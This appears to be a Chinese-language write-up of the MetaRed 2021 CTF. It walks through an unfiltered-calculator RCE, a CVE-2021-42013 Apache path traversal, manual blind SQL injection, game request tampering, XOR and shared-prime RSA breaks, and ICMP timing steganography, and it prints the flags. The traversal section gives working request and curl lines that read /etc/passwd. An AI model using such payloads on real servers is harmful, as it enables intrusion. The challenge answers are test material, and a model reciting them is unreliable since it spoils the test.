MENU

CTF Internacional MetaRed 2021 - 3rd STAGE WP

November 6, 2021 • Read: 42 • CTF

WEB

0x01 Another Calculator

是一个计算器,没有任何过滤,直接RCE
1.png

2.png

3.png

0x02 I Hate Hackers

apache 2.4.49
考点CVE-2021-42013 路径穿越漏洞
影响范围:2.4.49/2.4.50

4.png

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 143.255.251.234:8081

or

curl http://143.255.251.234:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

5.png

题目提示/flag.txt
6.png

0x03 Simple Sign In

题目是个登陆界面,并且通过登录的错误信息可以进行盲注

7.png

8.png

由于这题是通过node的websock进行的传参,并且有t和sid两个参数的限制,暂时没想明白脚本怎么写,但是基于此页面可以回车Sign in 并且不会删掉之前输入的值,没有任何过滤,所以进行手工盲注,,,, 也许我就是手工盲注第一人吧= =。 这里就不注入第二遍了,至少20多分钟吧= =。

Misc

0x04 Impossible Game

题目是一个游戏,有一个main.js里面记录了游戏相关内容,以及获取flag方式,下面是主要代码

          , x = "lose"
          , O = "won"
          , p = function(t) {
            var e = t.socket
              , n = Object(o.useReducer)((function(t, e) {
                return Object(d.a)(Object(d.a)({}, t), e)
            }
            ), f)
              , c = Object(s.a)(n, 2)
              , a = c[0]
              , i = c[1];
            Object(o.useEffect)((function() {
                e && (e.on("Lose", (function() {
                    i(Object(d.a)(Object(d.a)({}, f), {}, {
                        status: x
                    }))
                }
                )),
                e.on("Won", (function(t) {
                    i(Object(d.a)(Object(d.a)({}, f), {}, {
                        status: O,
                        flag: t
                    }))
                }
                )))
            }
            ), [e]),
            Object(o.useEffect)((function() {
                var t = a.option1
                  , n = a.option2;
                null !== t.x && null !== n.x && (e && e.emit("Choose", {
                    option1: t,
                    option2: n
                }),
                i({
                    option1: Object(d.a)({}, m),
                    option2: Object(d.a)({}, m)
                }))
            }
            ), [a, e, a.option1, a.option2]);
            return Object(b.jsx)("div", {
                className: "min-h-screen bg-gray-50 flex flex-col justify-center py-12 sm:px-6 lg:px-8",
                children: Object(b.jsx)("div", {
                    className: "mt-8 sm:mx-auto sm:w-full",
                    children: Object(b.jsx)("div", {
                        className: "bg-white py-8 px-4 shadow sm:rounded-lg sm:px-10",
                        children: Object(b.jsxs)("div", {
                            className: "space-y-6",
                            children: [Object(b.jsx)("div", {
                                children: !a.gameStarted && Object(b.jsxs)("div", {
                                    children: [a.status === x && Object(b.jsx)("div", {
                                        className: "w-full text-center py-6 text-4xl",
                                        children: "You Lost!"
                                    }), a.status === O && Object(b.jsxs)("div", {
                                        children: [Object(b.jsx)("div", {
                                            className: "w-full text-center py-6 text-4xl uppercase",
                                            children: "Congratulations!"
                                        }), Object(b.jsx)("div", {
                                            className: "text-center pb-3 font-mono",
                                            children: a.flag
                                        })]
                                    }), "" === a.status && Object(b.jsx)("div", {
                                        className: "w-full text-center py-6 text-4xl uppercase",
                                        children: "Impossible Memory Game"
                                    }), Object(b.jsx)("button", {
                                        type: "button",
                                        onClick: function(t) {
                                            e && e.emit("StartGame", {
                                                rows: 10,
                                                cols: 10,
                                                timeout: 5
                                            }, (function(t) {
                                                var e = t.gameStarted
                                                  , n = t.gameboard;
                                                i({
                                                    gameStarted: e,
                                                    gameboard: n
                                                })
                                            }
                                            ))
                                        },
                                        className: "w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500",
                                        children: a.status === x ? "Retry" : "Start Game"
                                    })]
                                })
                            })

逻辑很简单Lost为失败,Won给出flag
1.png

反正游戏我没玩明白,5秒后直接lost,这里抓包
2.png

发现10*10直接给它改成1*1,果然,游戏内容就只有一两个了
3.png

随便点点即won,得到flag
8.png

Crypto

0x05 Enkripter

题目:

Encrypted text :

Ay80Jh9ZFkInXQcfWg0LWw1IE3ZcFwJdQRZeUFtHQlMQTEENWA4yLWE0ElMJEhRV

Plain text:

Ecuador Amazonico, Desde siempre y hasta siempre

给了一个enkripter.rb文件,内容如下

require "base64"

module Enkripter
  class << self
    def enkripter(input, key)
      output = ''
      for i in 0..input.length-1
        output << (input[i].ord ^ key[i%key.length].ord)
      end
      return Base64.encode64(output)
    end

    def dekripter(input, key)
      return input
    end
  end
end

key = ''
en = Enkripter::enkripter('Ecuador Amazonico, Desde siempre y hasta siempre', key)
puts en
puts Enkripter::dekripter(en, key)

目的是找出key,分析加密过程,明文和key每一位都进行异或,然后base64得到密文
m ^ key = c
所以
key = m ^ c

payload

import base64
c = "Ay80Jh9ZFkInXQcfWg0LWw1IE3ZcFwJdQRZeUFtHQlMQTEENWA4yLWE0ElMJEhRV"
m = "Ecuador Amazonico, Desde siempre y hasta siempre"

key = ""
c = base64.b64decode(c)

for i in range(len(m)):
    key += chr(ord(m[i])^c[i])
print(key)

输出:
FLAG{6dbf0fe5cb8bd329df8ae75670605ae9}FLAG{6dbf0

0x06 Crypto 101

题目给出n1 n2 c1 c2 e 求 m

n1=153160478715294731276208752452534225350399586014487265321744386545229931215542543401160254378999652099828852167599540150067019806592004934471094634108565146898062222688321686403018654796822752115099320845758367496461071317638397862683774903624388727110090584571789323079749535436916973444654041858624716001627
n2=116686008045198170585257609535177851030560134655664585109017445342056088140364412233286370663414907173482965417631310883861222020697454330463520252365121212035104962026659113316839201561792924056642931247226137075454362790733590856277587014886928779101918377944404632325730425246643246572755252176277153277749
e=65537
c1=21405294642023544216365093769504183268268440896234351825991991754799440115864373770830550066920678983291895030503133714043970700633816377779101858945383714631501480845761609504630171919718300659525824223094826135954399822699121446243254583498833168570728229014682265375140630876989709545482901301592291117759
c2=19250424766785946633261140856960038292900209108110805809104760717403871427845157710965884111343371830323569977365742248580164832770859315671761543589632023642649038106441152685162498415139119461363606496072150243671439726836917757639500841713987968006252722506291571383626070797784903052010713784665579030537
e=65537

payload

import gmpy2
import binascii

n1=153160478715294731276208752452534225350399586014487265321744386545229931215542543401160254378999652099828852167599540150067019806592004934471094634108565146898062222688321686403018654796822752115099320845758367496461071317638397862683774903624388727110090584571789323079749535436916973444654041858624716001627
n2=116686008045198170585257609535177851030560134655664585109017445342056088140364412233286370663414907173482965417631310883861222020697454330463520252365121212035104962026659113316839201561792924056642931247226137075454362790733590856277587014886928779101918377944404632325730425246643246572755252176277153277749
e=65537
c1=21405294642023544216365093769504183268268440896234351825991991754799440115864373770830550066920678983291895030503133714043970700633816377779101858945383714631501480845761609504630171919718300659525824223094826135954399822699121446243254583498833168570728229014682265375140630876989709545482901301592291117759
c2=19250424766785946633261140856960038292900209108110805809104760717403871427845157710965884111343371830323569977365742248580164832770859315671761543589632023642649038106441152685162498415139119461363606496072150243671439726836917757639500841713987968006252722506291571383626070797784903052010713784665579030537
e=65537

p = gmpy2.gcd(n1,n2)
q = n1 // p
phi = (p-1)*(q-1)

d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c1,d,n1)

print(binascii.unhexlify(hex(m)[2:]))

FLAG{krypt0n1t3_4_crypt0}

Forensics

0x07 Data exfiltration

ICMP流量分析题,一共有418个ICMP协议包,简单一看没有任何信息。思考一下icmp如何隐藏数据,可以控制时间差以达到隐写数据的效果,所以在wireshark中选择view -> 时间显示格式 -> 子上一个捕获分组经过的秒数
从相差时间来看,可以很明显看到 0 1
1.png

将Time列提取出来,最简单的做法就是 文件->导出分组解析结果->AS CSV
然后将Time列复制出来

00100011001001100010000010100011101111011010101000011000101000011010111110111010000110000010000110101111100110111010010010100001101011111011101000100111101000011001011100111000001100011011000010111000001111101

会发现有209条数据,但是我想把它们转成ascii看一下就多出了一条数据,分析一下第一个是0.000开头,可能不算隐写数据内容,尝试删掉

a = ""
with open("a.txt","r") as f:
    for i in f.readlines():
        a += i[0]

b = ""
for i in range(0,len(a),8):
    for j in range(8):
        b+=str(a[i+j])
    print(chr(int(b,2)),end="")
    b=""

得到flag FLAG{T1C_t0C_7IC_tOC.pcap}